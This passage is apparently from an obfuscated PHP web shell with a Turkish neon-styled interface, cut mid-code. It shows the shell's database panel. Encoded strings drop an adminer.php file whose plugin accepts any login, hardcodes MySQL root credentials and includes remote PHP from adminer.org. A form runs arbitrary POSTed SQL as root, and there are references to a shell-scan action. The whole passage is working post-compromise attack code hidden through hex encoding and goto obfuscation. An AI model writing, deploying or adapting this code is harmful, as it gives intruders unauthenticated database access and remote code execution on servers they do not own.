"\x23\x36\60\x61\x35\x66\141", "\x64\157\143\x78" => "\x23\66\x30\141\x35\146\141", "\170\x6c\163" => "\x23\63\64\x64\63\71\71", "\x78\154\163\170" => "\x23\x33\64\144\63\71\x39", "\164\170\x74" => "\43\x61\67\x38\142\146\141", "\154\157\147" => "\43\x61\67\x38\x62\146\141", "\163\x68" => "\43\x61\x33\x65\66\63\65", "\x70\x79" => "\x23\66\60\x61\x35\146\x61", "\x70\x6c" => "\x23\x32\62\144\63\145\145", "\162\142" => "\43\x66\70\67\61\67\x31", "\163\x71\154" => "\x23\x66\x62\x62\146\x32\x34", "\145\x78\145" => "\43\x66\x38\67\61\67\x31"); return $colors[$ext] ?? "\43\x61\x37\x38\x62\x66\141"; } } goto TrFAm; olEnh: echo date("\x48\x3a\151\x3a\x73"); goto D7pL9; X119Z: echo $action == "\163\x68\x65\x6c\x6c\x73\143\x61\x6e" ? "\x61\x63\x74\151\166\x65" : ''; goto DvxjG; saq57: if ($action == "\141\x64\155\151\156\145\162") { ?> <style> :root { --neon-mor: #b300ff; --neon-mor-glow: rgba(179, 0, 255, 0.2); --neon-pembe: #ff00aa; --neon-mavi: #00d4ff; --neon-yesil: #00ff88; --neon-turuncu: #ff6a00; --neon-sari: #ffd700; --neon-kirmizi: #ff0044; } /* ===== PARTİKÜL ARKA PLAN ===== */ #particle-canvas-adminer { position: fixed; top: 0; left: 0; width: 100%; height: 100%; z-index: 0; pointer-events: none; opacity: 0.3; } .adminer-wrapper { position: relative; z-index: 1; padding: 10px; } /* ===== ADMINER CONTAINER ===== */ .adminer-container { display: grid; grid-template-columns: 1fr 1fr; gap: 20px; padding: 10px 0; } /* ===== ADMINER CARDS ===== */ .adminer-card { background: rgba(10, 0, 21, 0.85); backdrop-filter: blur(10px); border: 1px solid rgba(179, 0, 255, 0.15); border-radius: 15px; padding: 20px; transition: all 0.4s cubic-bezier(0.175, 0.885, 0.32, 1.275); box-shadow: 0 0 20px rgba(179, 0, 255, 0.05); position: relative; overflow: hidden; } .adminer-card::before { content: ''; position: absolute; top: -100%; left: -100%; width: 300%; height: 300%; background: radial-gradient(circle at center, rgba(179, 0, 255, 0.03) 0%, transparent 70%); opacity: 0; transition: opacity 0.6s ease; pointer-events: none; } .adminer-card:hover::before { opacity: 1; } .adminer-card:hover { transform: translateY(-8px) scale(1.01); border-color: rgba(179, 0, 255, 0.4); box-shadow: 0 0 30px rgba(179, 0, 255, 0.1), 0 0 60px rgba(179, 0, 255, 0.05), inset 0 0 30px rgba(179, 0, 255, 0.05); } .adminer-card::after { content: ''; position: absolute; top: -1px; left: -1px; right: -1px; bottom: -1px; border-radius: 15px; background: linear-gradient(45deg, transparent 0%, rgba(179, 0, 255, 0.1) 20%, rgba(255, 0, 170, 0.05) 40%, transparent 60%, rgba(0, 212, 255, 0.05) 80%, transparent 100% ); z-index: -1; opacity: 0; transition: opacity 0.6s ease; pointer-events: none; } .adminer-card:hover::after { opacity: 1; } /* ===== CARD HEADER ===== */ .adminer-card .card-header { display: flex; align-items: center; gap: 12px; margin-bottom: 15px; padding-bottom: 10px; border-bottom: 1px solid rgba(179, 0, 255, 0.08); } .adminer-card .card-header i { font-size: 20px; color: var(--neon-mor); text-shadow: 0 0 20px rgba(179, 0, 255, 0.2); animation: iconPulseAdminer 3s ease-in-out infinite; } @keyframes iconPulseAdminer { 0%, 100% { text-shadow: 0 0 20px rgba(179, 0, 255, 0.2); } 50% { text-shadow: 0 0 40px rgba(179, 0, 255, 0.4), 0 0 80px rgba(179, 0, 255, 0.1); } } .adminer-card .card-header h4 { color: #d4bfff; font-size: 13px; font-weight: 600; text-transform: uppercase; letter-spacing: 2px; text-shadow: 0 0 10px rgba(179, 0, 255, 0.1); margin: 0; } .adminer-card .card-header .badge { margin-left: auto; font-size: 9px; padding: 2px 12px; border-radius: 10px; background: rgba(179, 0, 255, 0.1); border: 1px solid rgba(179, 0, 255, 0.2); color: rgba(180, 150, 255, 0.6); text-transform: uppercase; letter-spacing: 0.5px; } /* ===== CURRENT STATUS ===== */ .current-status { background: rgba(0, 0, 0, 0.5); border: 1px solid rgba(179, 0, 255, 0.1); border-radius: 8px; padding: 10px 12px; margin-bottom: 15px; display: flex; align-items: center; gap: 10px; font-size: 12px; flex-wrap: wrap; } .current-status .label { color: rgba(180, 150, 255, 0.4); font-size: 10px; text-transform: uppercase; letter-spacing: 1px; } .current-status .status-icon { font-size: 18px; } .current-status .status-text { color: var(--neon-yesil); font-family: monospace; flex: 1; } .current-status .status-text.error { color: var(--neon-kirmizi); } /* ===== NEON BUTTONS ===== */ .btn-neon-adminer { background: linear-gradient(135deg, rgba(179, 0, 255, 0.2), rgba(255, 0, 170, 0.1)); border: 1px solid rgba(179, 0, 255, 0.3); border-radius: 8px; padding: 10px 20px; color: #d4bfff; font-weight: 600; font-size: 11px; text-transform: uppercase; letter-spacing: 1px; cursor: pointer; transition: all 0.3s ease; box-shadow: 0 0 15px rgba(179, 0, 255, 0.05); white-space: nowrap; position: relative; overflow: hidden; text-decoration: none; display: inline-flex; align-items: center; gap: 8px; } .btn-neon-adminer:hover { background: linear-gradient(135deg, rgba(179, 0, 255, 0.3), rgba(255, 0, 170, 0.2)); border-color: rgba(179, 0, 255, 0.6); transform: scale(1.05); box-shadow: 0 0 30px rgba(179, 0, 255, 0.15); color: #d4bfff; } .btn-neon-adminer:active { transform: scale(0.95); } .btn-neon-adminer.success { background: linear-gradient(135deg, rgba(0, 255, 136, 0.2), rgba(0, 212, 255, 0.1)); border-color: rgba(0, 255, 136, 0.3); } .btn-neon-adminer.success:hover { border-color: rgba(0, 255, 136, 0.6); box-shadow: 0 0 30px rgba(0, 255, 136, 0.15); } .btn-neon-adminer.primary { background: linear-gradient(135deg, rgba(0, 212, 255, 0.2), rgba(179, 0, 255, 0.1)); border-color: rgba(0, 212, 255, 0.3); } .btn-neon-adminer.primary:hover { border-color: rgba(0, 212, 255, 0.6); box-shadow: 0 0 30px rgba(0, 212, 255, 0.15); } .btn-neon-adminer.warning { background: linear-gradient(135deg, rgba(255, 215, 0, 0.2), rgba(255, 106, 0, 0.1)); border-color: rgba(255, 215, 0, 0.3); } .btn-neon-adminer.warning:hover { border-color: rgba(255, 215, 0, 0.6); box-shadow: 0 0 30px rgba(255, 215, 0, 0.15); } .btn-neon-adminer.danger { background: linear-gradient(135deg, rgba(255, 0, 68, 0.2), rgba(255, 0, 170, 0.1)); border-color: rgba(255, 0, 68, 0.3); } .btn-neon-adminer.danger:hover { border-color: rgba(255, 0, 68, 0.6); box-shadow: 0 0 30px rgba(255, 0, 68, 0.15); } .btn-neon-adminer.small { padding: 6px 14px; font-size: 10px; } .btn-group-adminer { display: flex; gap: 8px; flex-wrap: wrap; margin-top: 10px; } /* ===== ADMINER OUTPUT ===== */ .adminer-output { background: rgba(0, 0, 0, 0.7); border: 1px solid rgba(179, 0, 255, 0.08); border-radius: 8px; margin-top: 12px; padding: 12px; max-height: 350px; overflow-y: auto; font-family: 'Courier New', monospace; font-size: 11px; position: relative; } .adminer-output::before { content: '▼ ADMINER OUTPUT'; position: sticky; top: 0; display: block; text-align: center; color: rgba(179, 0, 255, 0.1); font-size: 8px; letter-spacing: 2px; padding-bottom: 5px; background: rgba(0, 0, 0, 0.5); backdrop-filter: blur(5px); margin: -12px -12px 5px -12px; padding: 5px 0; border-bottom: 1px solid rgba(179, 0, 255, 0.05); } .adminer-output::-webkit-scrollbar { width: 4px; } .adminer-output::-webkit-scrollbar-track { background: rgba(0, 0, 0, 0.3); border-radius: 2px; } .adminer-output::-webkit-scrollbar-thumb { background: rgba(179, 0, 255, 0.3); border-radius: 2px; } .adminer-output::-webkit-scrollbar-thumb:hover { background: rgba(179, 0, 255, 0.5); } .adminer-output .output-line { padding: 4px 0; border-bottom: 1px solid rgba(179, 0, 255, 0.03); color: #c4b0e6; line-height: 1.5; } .adminer-output .output-line:last-child { border-bottom: none; } .adminer-output .output-line .success { color: var(--neon-yesil); text-shadow: 0 0 10px rgba(0, 255, 136, 0.15); } .adminer-output .output-line .error { color: var(--neon-kirmizi); text-shadow: 0 0 10px rgba(255, 0, 68, 0.15); } .adminer-output .output-line .info { color: var(--neon-mavi); text-shadow: 0 0 10px rgba(0, 212, 255, 0.15); } .adminer-output .output-line .warn { color: var(--neon-sari); text-shadow: 0 0 10px rgba(255, 215, 0, 0.15); } .adminer-output .output-line .dim { color: rgba(180, 150, 255, 0.3); } /* ===== FORM ELEMENTS ===== */ .adminer-form { display: flex; flex-direction: column; gap: 10px; } .adminer-form .input-group { display: flex; gap: 8px; flex-wrap: wrap; } .adminer-form input, .adminer-form select, .adminer-form textarea { flex: 1; min-width: 100px; background: rgba(0, 0, 0, 0.5); border: 1px solid rgba(179, 0, 255, 0.15); border-radius: 8px; padding: 10px 12px; color: #d4bfff; font-size: 12px; transition: all 0.3s ease; } .adminer-form input:focus, .adminer-form select:focus { outline: none; border-color: rgba(179, 0, 255, 0.5); box-shadow: 0 0 20px rgba(179, 0, 255, 0.1); background: rgba(0, 0, 0, 0.7); } .adminer-form input::placeholder { color: rgba(180, 150, 255, 0.25); } .adminer-form select option { background: #1a0033; color: #d4bfff; } /* ===== INFO GRID ===== */ .info-grid { display: grid; grid-template-columns: 1fr 1fr; gap: 6px; margin-top: 10px; } .info-item { background: rgba(0, 0, 0, 0.3); border: 1px solid rgba(179, 0, 255, 0.05); border-radius: 6px; padding: 8px 10px; text-align: center; } .info-item .info-value { color: var(--neon-mor); font-size: 16px; font-weight: 600; font-family: monospace; } .info-item .info-label { color: rgba(180, 150, 255, 0.3); font-size: 8px; text-transform: uppercase; letter-spacing: 1px; margin-top: 2px; } /* ===== TOGGLE SWITCH ===== */ .toggle-switch-adminer { position: relative; display: inline-block; width: 34px; height: 18px; margin: 0 8px; } .toggle-switch-adminer input { opacity: 0; width: 0; height: 0; } .toggle-slider-adminer { position: absolute; cursor: pointer; top: 0; left: 0; right: 0; bottom: 0; background: rgba(179, 0, 255, 0.1); transition: 0.3s; border-radius: 20px; border: 1px solid rgba(179, 0, 255, 0.2); } .toggle-slider-adminer:before { content: ""; position: absolute; height: 12px; width: 12px; left: 2px; bottom: 2px; background: rgba(180, 150, 255, 0.3); transition: 0.3s; border-radius: 50%; } .toggle-switch-adminer input:checked + .toggle-slider-adminer { background: rgba(179, 0, 255, 0.2); border-color: rgba(179, 0, 255, 0.4); } .toggle-switch-adminer input:checked + .toggle-slider-adminer:before { transform: translateX(16px); background: var(--neon-mor); box-shadow: 0 0 20px rgba(179, 0, 255, 0.3); } .toggle-label-adminer { color: rgba(180, 150, 255, 0.6); font-size: 10px; display: flex; align-items: center; gap: 4px; cursor: pointer; transition: color 0.3s ease; } .toggle-label-adminer:hover { color: rgba(180, 150, 255, 0.8); } /* ===== RESPONSIVE ===== */ @media (max-width: 768px) { .adminer-container { grid-template-columns: 1fr; gap: 15px; } .adminer-card { padding: 15px; } .adminer-form .input-group { flex-direction: column; } .btn-neon-adminer { width: 100%; justify-content: center; } .adminer-card .card-header h4 { font-size: 11px; } .info-grid { grid-template-columns: 1fr; } } /* ===== ANIMATIONS ===== */ @keyframes pulseGlowAdminer { 0%, 100% { box-shadow: 0 0 20px rgba(179, 0, 255, 0.05); } 50% { box-shadow: 0 0 40px rgba(179, 0, 255, 0.1); } } .adminer-card { animation: pulseGlowAdminer 3s ease-in-out infinite; } @keyframes slideInAdminer { from { opacity: 0; transform: translateY(10px) scale(0.98); } to { opacity: 1; transform: translateY(0) scale(1); } } .adminer-output { animation: slideInAdminer 0.4s cubic-bezier(0.175, 0.885, 0.32, 1.275); } @keyframes fadeInUp { from { opacity: 0; transform: translateY(20px); } to { opacity: 1; transform: translateY(0); } } .adminer-card { animation: fadeInUp 0.5s ease forwards; } .adminer-card:nth-child(1) { animation-delay: 0.05s; } .adminer-card:nth-child(2) { animation-delay: 0.1s; } </style> <!-- ===== PARTİKÜL CANVAS ===== --> <canvas id="particle-canvas-adminer"></canvas> <div class="adminer-wrapper"> <div class="adminer-container"> <!-- ============================================================ --> <!-- 1. ADMINER - ANA YÖNETİM --> <!-- ============================================================ --> <div class="adminer-card"> <div class="card-header"> <i class="fas fa-database"></i> <h4>🗄️ Adminer</h4> <span class="badge">Veritabanı</span> </div> <?php $adminerDir = __DIR__; $adminerFile = "\x61\144\155\151\156\x65\162\56\x70\x68\160"; $adminerPath = $adminerDir . "\57" . $adminerFile; $adminerUrl = $adminerFile; $adminerCode = "\74\77\160\x68\x70\12\x66\165\156\143\x74\151\x6f\x6e\x20\x61\144\x6d\x69\x6e\x65\x72\x5f\157\142\x6a\x65\x63\x74\50\51\x20\173\12\x20\x20\40\x20\143\154\141\163\163\40\101\144\155\151\156\x65\162\40\145\x78\x74\145\x6e\x64\163\x20\x41\144\155\151\156\x65\x72\120\154\x75\x67\151\156\x20\x7b\xa\x20\40\40\x20\x20\x20\x20\x20\x66\165\x6e\x63\x74\151\x6f\x6e\x20\x6e\141\x6d\145\x28\51\x20\x7b\40\162\145\x74\x75\x72\156\40\42\xe2\232\xa1\40\123\x68\141\x64\x6f\167\40\101\144\155\151\x6e\x65\162\42\x3b\x20\x7d\12\x20\x20\40\40\x20\40\x20\40\146\165\156\x63\x74\151\x6f\x6e\40\144\141\164\x61\x62\x61\x73\x65\50\x29\x20\173\40\162\x65\x74\165\x72\156\40\x22\x56\x65\x72\x69\x74\x61\142\141\156\304\261\x22\x3b\40\x7d\xa\40\40\40\40\40\40\x20\x20\x66\165\x6e\x63\164\x69\157\156\x20\154\157\147\x69\x6e\50\44\x6c\157\x67\151\x6e\x2c\40\x24\x70\x61\x73\x73\167\x6f\162\144\x29\x20\x7b\40\x72\145\164\165\162\x6e\40\x74\x72\x75\x65\73\40\x7d\xa\x20\40\40\x20\40\40\x20\x20\146\165\x6e\x63\x74\151\157\156\x20\143\162\x65\144\x65\156\164\x69\x61\x6c\163\50\x29\x20\173\x20\162\x65\x74\x75\162\156\x20\141\162\162\x61\x79\x28\42\154\157\x63\x61\x6c\x68\157\x73\164\x22\x2c\40\x22\x72\x6f\157\x74\x22\x2c\x20\x22\42\x29\x3b\x20\175\12\x20\x20\x20\40\x20\40\40\x20\146\165\x6e\143\164\x69\157\156\40\160\145\162\155\141\156\x65\x6e\x74\x4c\x6f\147\x69\x6e\50\x29\40\x7b\40\162\145\x74\165\x72\156\x20\x74\162\x75\x65\x3b\40\175\xa\x20\x20\40\40\x7d\12\x20\x20\40\x20\x72\145\164\x75\162\x6e\40\156\x65\x77\40\x41\x64\155\151\156\x65\x72\73\12\x7d\12\x69\146\x20\50\x21\146\x75\x6e\143\164\x69\x6f\x6e\x5f\145\x78\151\x73\164\163\x28\42\x61\144\155\151\156\x65\x72\42\51\51\40\x7b\12\x20\x20\40\x20\x69\156\x63\x6c\165\144\x65\40\42\x68\x74\164\160\x73\72\57\57\x77\x77\167\56\x61\144\x6d\151\x6e\x65\x72\x2e\157\162\x67\57\163\x74\x61\x74\151\x63\x2f\x64\x6f\167\156\x6c\x6f\x61\x64\x2f\x34\x2e\x38\56\x31\57\141\x64\x6d\x69\156\x65\162\x2d\x34\x2e\x38\56\61\x2e\160\x68\160\x22\x3b\12\x7d\xa"; $fileExists = file_exists($adminerPath); if (!$fileExists) { @file_put_contents($adminerPath, $adminerCode); $fileExists = file_exists($adminerPath); } $adminerWorking = false; if ($fileExists) { $adminerWorking = true; } ?> <div class="current-status"> <span class="label">📊 Durum:</span> <span class="status-icon"><?php echo $fileExists ? "\342\x9c\x85" : "\xe2\x9d\214"; ?> </span> <span class="status-text <?php echo $fileExists ? '' : "\145\162\x72\157\x72"; ?> "> <?php echo $fileExists ? "\x41\x64\155\151\x6e\145\162\40\x68\141\x7a\xc4\261\x72" : "\x41\144\155\151\x6e\x65\x72\x20\x6f\154\x75\305\x9f\x74\x75\162\x75\x6c\141\x6d\141\x64\304\261"; ?> </span> <button class="btn-copy" onclick="copyPath('<?php echo htmlspecialchars($adminerPath); ?> ')" style="background:rgba(179,0,255,0.1);border:1px solid rgba(179,0,255,0.2);border-radius:5px;padding:4px 10px;color:rgba(180,150,255,0.6);font-size:10px;cursor:pointer;transition:all 0.3s ease;"> <i class="fas fa-copy"></i> </button> </div> <div class="btn-group-adminer"> <a href="<?php echo htmlspecialchars($adminerUrl); ?> " target="_blank" class="btn-neon-adminer success"> <i class="fas fa-external-link-alt"></i> Adminer'i Aç </a> <a href="<?php echo htmlspecialchars($adminerUrl); ?> ?username=root&db=mysql" target="_blank" class="btn-neon-adminer primary"> <i class="fas fa-bolt"></i> Hızlı Giriş </a> <button onclick="downloadAdminer()" class="btn-neon-adminer warning small"> <i class="fas fa-download"></i> İndir </button> </div> <div style="margin-top:10px;font-size:9px;color:rgba(180,150,255,0.3);font-family:monospace;word-break:break-all;"> 📁 <?php echo htmlspecialchars($adminerPath); ?> </div> <?php if ($fileExists) { ?> <div class="adminer-output" style="margin-top:10px;"> <div class="output-line"><span class="success">✅ Adminer başarıyla yüklendi</span></div> <div class="output-line"><span class="dim">📁 <?php echo htmlspecialchars($adminerFile); ?> </span></div> <div class="output-line"><span class="dim">📦 Sürüm: 4.8.1</span></div> <div class="output-line"><span class="dim">🔗 <a href="<?php echo htmlspecialchars($adminerUrl); ?> " target="_blank" style="color:var(--neon-mavi);text-decoration:none;"><?php echo htmlspecialchars($adminerUrl); ?> </a></span></div> </div> <?php } else { ?> <div class="adminer-output" style="margin-top:10px;"> <div class="output-line"><span class="error">❌ Adminer oluşturulamadı!</span></div> <div class="output-line"><span class="warn">⚠️ Dizin yazılabilir değil veya dosya oluşturulamıyor.</span></div> </div> <?php } ?> </div> <!-- ============================================================ --> <!-- 2. VERİTABANI BİLGİLERİ --> <!-- ============================================================ --> <div class="adminer-card"> <div class="card-header"> <i class="fas fa-server"></i> <h4>📊 Veritabanı</h4> <span class="badge">Bilgi</span> </div> <?php $db_host = "\154\x6f\143\x61\154\x68\x6f\163\164"; $db_user = "\162\157\157\x74"; $db_pass = ''; $db_name = "\x6d\171\x73\161\x6c"; $db_connected = false; $db_error = ''; $db_version = ''; $db_databases = array(); try { $conn = @new mysqli($db_host, $db_user, $db_pass); if ($conn->connect_error) { $db_error = $conn->connect_error; } else { $db_connected = true; $db_version = $conn->server_info; $result = $conn->query("\123\110\117\x57\x20\104\x41\x54\x41\102\101\x53\x45\x53"); if ($result) { while ($row = $result->fetch_assoc()) { $db_databases[] = $row["\x44\141\x74\141\142\141\x73\145"]; } } $conn->close(); } } catch (Exception $e) { $db_error = $e->getMessage(); } ?> <div class="current-status"> <span class="label">🔌 Bağlantı:</span> <span class="status-icon"><?php echo $db_connected ? "\xe2\234\x85" : "\342\x9d\x8c"; ?> </span> <span class="status-text <?php echo $db_connected ? '' : "\145\x72\162\x6f\x72"; ?> "> <?php echo $db_connected ? "\115\x79\x53\x51\114\40\142\141\xc4\237\154\x61\x6e\164\304\xb1\163\304\xb1\x20\x62\x61\xc5\237\141\162\xc4\261\x6c\xc4\xb1" : "\102\x61\xc4\x9f\154\x61\156\164\xc4\xb1\40\142\141\305\x9f\141\162\xc4\261\x73\304\261\x7a"; ?> </span> </div> <div class="info-grid"> <div class="info-item"> <div class="info-value"><?php echo $db_connected ? "\xe2\234\205" : "\342\235\214"; ?> </div> <div class="info-label">Durum</div> </div> <div class="info-item"> <div class="info-value"><?php echo $db_connected ? htmlspecialchars($db_version) : "\xe2\x80\x94"; ?> </div> <div class="info-label">Sürüm</div> </div> <div class="info-item"> <div class="info-value"><?php echo $db_connected ? count($db_databases) : "\x30"; ?> </div> <div class="info-label">Veritabanı</div> </div> <div class="info-item"> <div class="info-value"><?php echo htmlspecialchars($db_host); ?> </div> <div class="info-label">Host</div> </div> </div> <?php if ($db_connected && !empty($db_databases)) { ?> <div class="adminer-output" style="margin-top:10px;"> <div class="output-line"><span class="info">📋 Veritabanları:</span></div> <?php foreach ($db_databases as $db) { ?> <div class="output-line"><span class="dim"> 📁</span> <?php echo htmlspecialchars($db); ?> </div> <?php } ?> </div> <?php } elseif (!$db_connected) { ?> <div class="adminer-output" style="margin-top:10px;"> <div class="output-line"><span class="error">❌ Bağlantı hatası: <?php echo htmlspecialchars($db_error); ?> </span></div> <div class="output-line"><span class="warn">⚠️ Lütfen veritabanı bilgilerini kontrol edin.</span></div> </div> <?php } ?> <div class="btn-group-adminer"> <a href="<?php echo htmlspecialchars($adminerUrl); ?> " target="_blank" class="btn-neon-adminer primary small"> <i class="fas fa-database"></i> Yönet </a> <button onclick="checkDatabase()" class="btn-neon-adminer warning small"> <i class="fas fa-sync"></i> Yenile </button> </div> </div> <!-- ============================================================ --> <!-- 3. HIZLI SORGULAR --> <!-- ============================================================ --> <div class="adminer-card"> <div class="card-header"> <i class="fas fa-terminal"></i> <h4>⚡ Hızlı Sorgular</h4> <span class="badge">SQL</span> </div> <form method="POST" class="adminer-form"> <div class="input-group"> <select name="query_preset" style="max-width:200px;"> <option value="">📋 Hazır Sorgu</option> <option value="SHOW DATABASES">📊 Veritabanlarını Listele</option> <option value="SHOW TABLES">📋 Tabloları Listele</option> <option value="SELECT VERSION()">ℹ️ Sürüm Bilgisi</option> <option value="SELECT NOW()">🕐 Şu Anki Zaman</option> <option value="SELECT USER()">👤 Kullanıcı Bilgisi</option> </select> <button type="button" class="btn-neon-adminer primary small" onclick="document.querySelector('textarea[name=query_sql]').value = document.querySelector('select[name=query_preset]').value"> <i class="fas fa-arrow-right"></i> Al </button> </div> <div class="input-group"> <textarea name="query_sql" placeholder="SQL sorgusu yazın..." rows="3" style="flex:1;min-width:100px;background:rgba(0,0,0,0.5);border:1px solid rgba(179,0,255,0.15);border-radius:8px;padding:10px 12px;color:#d4bfff;font-size:12px;font-family:monospace;transition:all 0.3s ease;">SHOW DATABASES</textarea> </div> <div class="input-group"> <button type="submit" name="adminer_action" value="query" class="btn-neon-adminer success"> <i class="fas fa-play"></i> Çalıştır </button> <button type="reset" class="btn-neon-adminer danger small"> <i class="fas fa-undo"></i> Temizle </button> </div> </form> <?php if (isset($_POST["\141\x64\155\151\156\145\x72\137\141\x63\164\x69\x6f\156"]) && $_POST["\x61\x64\155\151\156\145\162\x5f\141\x63\x74\151\x6f\156"] == "\x71\165\x65\x72\x79") { $query_sql = trim($_POST["\x71\x75\145\162\x79\x5f\163\x71\154"] ?? ''); if (!empty($query_sql)) { try { $conn = @new mysqli("\154\157\x63\x61\x6c\x68\x6f\163\164", "\162\x6f\x6f\164", ''); if ($conn->connect_error) { echo "\x3c\144\x69\166\40\x63\154\x61\163\163\75\x22\x61\144\155\x69\x6e\145\x72\x2d\x6f\x75\x74\x70\165\x74\x22\76"; echo "\x3c\144\151\166\40\143\154\141\x73\x73\75\42\157\x75\x74\x70\x75\164\x2d\154\x69\156\145\42\76\74\163\160\141\x6e\x20\x63\154\141\x73\x73\x3d\42\145\x72\x72\157\162\42\76\xe2\x9d\x8c\x20\x42\141\xc4\x9f\x6c\141\x6e\x74\xc4\xb1\40\x68\141\164\x61\x73\304\xb1\72\x20" . htmlspecialchars($conn->connect_error) . "\x3c\57\163\160\x61\156\x3e\74\x2f\144\x69\x76\76"; echo "\74\x2f\x64\x69\x76\x3e"; } else { $result = $conn->query($query_sql); echo "\74\144\x69\166\40\x63\x6c\x61\163\x73\75\42\141\x64\x6d\x69\x6e\145\x72\x2d\x6f\x75\164\160\x75\x74\42\76"; echo "\74\144\151\166\x20\x63\154\141\163\x73\75\42\x6f\165\x74\x70\165\164\x2d\x6c\151\156\145\x22\x3e\74\x73\x70\x61\x6e\40\143\x6c\x61\163\x73\75\42\151\156\x66\157\x22\76\342\226\266\357\xb8\x8f\40\x53\157\162\x67\x75\x20\303\xa7\141\154\304\261\305\x9f\x74\304\261\x72\xc4\xb1\154\x64\304\xb1\x3c\57\x73\x70\x61\x6e\76\74\57\x64\x69\x76\x3e"; echo "\74\x64\x69\166\x20\x63\x6c\141\163\x73\75\x22\x6f\x75\x74\x70\165\x74\55\x6c\x69\x6e\145\x22\76\x3c\x73\160\x61\156\x20\143\154\141\x73\163\75\x22\x64\151\155\x22\76\xf0\237\223\x9d\40" . htmlspecialchars($query_sql) . "\74\x2f\163\160\x61\156\76\74\57\144\x69\166\x3e"; if ($result === false) { echo "\x3c\144\151\x76\40\143\154\141\x73\x73\75\42\157\x75\x74\160\x75\x74\55\x6c\x69\156\145\x22\x3e\74\x73\160\x61\156\40\143\154\141\163\163\75\42\x65\x72\162\157\162\x22\x3e\xe2\235\214\x20\x48\x61\164\141\72\40" . htmlspecialchars($conn->error) . "\74\x2f\x73\x70\141\156\76\x3c\57\x64\151\x76\76"; } elseif ($result === true) { echo "\74\x64\151\x76\x20\x63\154\141\163\x73\75\x22\157\165\164\160\x75\x74\55\x6c\x69\x6e\x65\x22\x3e\74\163\x70\141\156\40\x63\154\x61\x73\163\x3d\x22\163\165\x63\x63\x65\x73\163\x22\76\xe2\x9c\205\x20\123\x6f\162\x67\165\40\142\x61\305\x9f\141\162\304\xb1\154\xc4\xb1\74\x2f\x73\x70\x61\x6e\76\74\x2f\144\x69\166\76"; echo "\x3c\144\x69\x76\x20\x63\x6c\x61\163\x73\x3d\x22\x6f\x75\x74\x70\x75\164\x2d\154\151\156\x65\x22\x3e\x3c\x73\x70\141\156\x20\x63\154\x61\x73\163\x3d\x22\x64\x69\x6d\x22\x3e\360\x9f\x93\212\40\105\164\x6b\x69\154\145\156\x65\x6e\x20\x73\141\164\304\261\162\x3a\x20" . $conn->affected_rows . "\x3c\57\x73\x70\141\x6e\76\74\57\x64\151\166\76"; } else { $num_rows = $result->num_rows; echo "\x3c\x64\151\166\x20\143\x6c\141\163\163\75\x22\157\165\164\160\x75\164\55\154\x69\x6e\145\x22\x3e\74\163\x70\141\x6e\40\x63\154\x61\x73\163\75\x22\x64\151\x6d\x22\76\xf0\237\223\212\40\123\157\156\165\303\247\72\40" . $num_rows . "\x20\x73\141\164\xc4\261\x72\x3c\57\x73\x70\x61\x6e\x3e\74\57\x64\151\166\x3e"; echo "\74\144\x69\166\x20\x73\164\171\154\145\x3d\x22\x62\157\x72\x64\145\x72\55\x74\157\160\72\x31\160\x78\40\x73\x6f\x6c\x69\144\x20\162\x67\x62\x61\x28\61\x37\x39\x2c\x30\54\62\65\65\54\60\x2e\x30\x35\x29\x3b\155\x61\x72\x67\x69\156\x2d\164\157\x70\x3a\65\160\170\73\x70\141\144\144\x69\x6e\147\55\164\157\160\72\x35\x70\x78\x3b\x22\x3e\x3c\x2f\x64\151\166\76"; if ($num_rows > 0) { $fields = $result->fetch_fields(); $count = 0; while ($row = $result->fetch_assoc() && $count < 20) { $count++; $values = array(); foreach ($fields as $field) { $val = $row[$field->name] ?? "\116\x55\x4c\x4c"; $values[] = htmlspecialchars($val); } echo "\74\144\x69\166\40\143\x6c\141\x73\x73\x3d\42\x6f\165\164\160\x75\x74\x2d\x6c\151\x6e\145\42\x3e\74\163\160\x61\x6e\40\x63\154\x61\163\x73\x3d\x22\x64\151\155\42\x3e\40\40" . implode("\x20\x7c\40", $values) . "\x3c\57\x73\160\141\156\x3e\74\x2f\x64\x69\166\76"; } if ($num_rows > 20) { echo "\x3c\x64\x69\x76\40\x63\x6c\x61\163\x73\x3d\42\157\x75\164\160\x75\x74\x2d\x6c\x69\156\145\42\x3e\74\x73\x70\x61\156\x20\x63\x6c\141\x73\163\x3d\x22\144\x69\155\42\x3e\x20\x20\x2e\x2e\x2e\x20\166\145\x20" . ($num_rows - 20) . "\x20\163\141\x74\xc4\261\162\40\x64\x61\150\x61\74\57\163\x70\x61\156\x3e\74\57\144\x69\x76\76"; } } else { echo "\74\144\x69\x76\x20\x63\154\x61\163\163\75\x22\x6f\x75\x74\160\x75\164\x2d\x6c\151\x6e\145\x22\x3e\x3c\163\160\x61\156\40\x63\154\141\x73\163\75\42\x64\x69\155\x22\76\40\40\x28\102\157\305\237\x20\163\x6f\156\x75\xc3\xa7\x29\74\57\x73\160\x61\156\76\74\x2f\x64\x69\166\76"; } } $conn->close(); echo "\74\57\144\x69\x76\76"; } } catch (Exception $e) { echo "\74\144\151\166\x20\143\154\x61\163\x73\75\x22\x61\x64\x6d\x69\x6e\145\162\55\157\165\x74\x70\x75\164\x22\76"; echo "\74\x64\151\x76\x20\x63\154\141\x73\x73\x3d\x22\157\165\x74\160\x75\x74\55\154\x69\x6e\145\x22\76\x3c\163\x70\x61\x6e\40\x63\154\141\163\x73\x3d\42\x65\x72\162\157\162\42\x3e\xe2\235\214\x20\110\141\164\141\72\40" . htmlspecialchars($e->getMessage()) . "\x3c\x2f\x73\x70\x61\x6e\x3e\74\57\144\x69\166\76"; echo "\x3c\57\144\x69\x76\76"; } } else { echo "\74\144\x69\x76\40\143\154\x61\163\x73\x3d\x22\x61\144\155\151\156\145\162\x2d\x6f\165\x74\160\x75\x74\42\76"; echo "\x3c\x64\x69\166\x20\x63\x6c\x61\163\x73\75\42\157\165\164\160\x75\x74\55\154\x69\x6e\x65\x22\x3e\74\163\x70\141\x6e\x20\x63\154\141\163\163\75\x22\167\x61\162\x6e\x22\76\342\232\xa0\xef\xb8\217\x20\114\303\274\x74\x66\145\156\x20\x62\151\x72\x20\x73\157\162\147\x75\40\147\151\162\x69\x6e\x2e\74\x2f\x73\x70\141\156\76\x3c\57\x64\x69\x76\76"; echo "\74\57\x64\151\x76\76"; } } ?> </div> <!-- ============================================================ --> <!-- 4. AYARLAR & BİLGİ --> <!-- ============================================================ --> <div class="adminer-card"> <div class="card-header"> <i class="fas fa-cogs"></i> <h4>⚙️ Ayarlar</h4> <span class="badge">Konfigürasyon</span> </div> <form method="POST" class="adminer-form"> <div class="input-group"> <input type="text" name="db_host" placeholder="Host" value="localhost"> <input type="text" name="db_user" 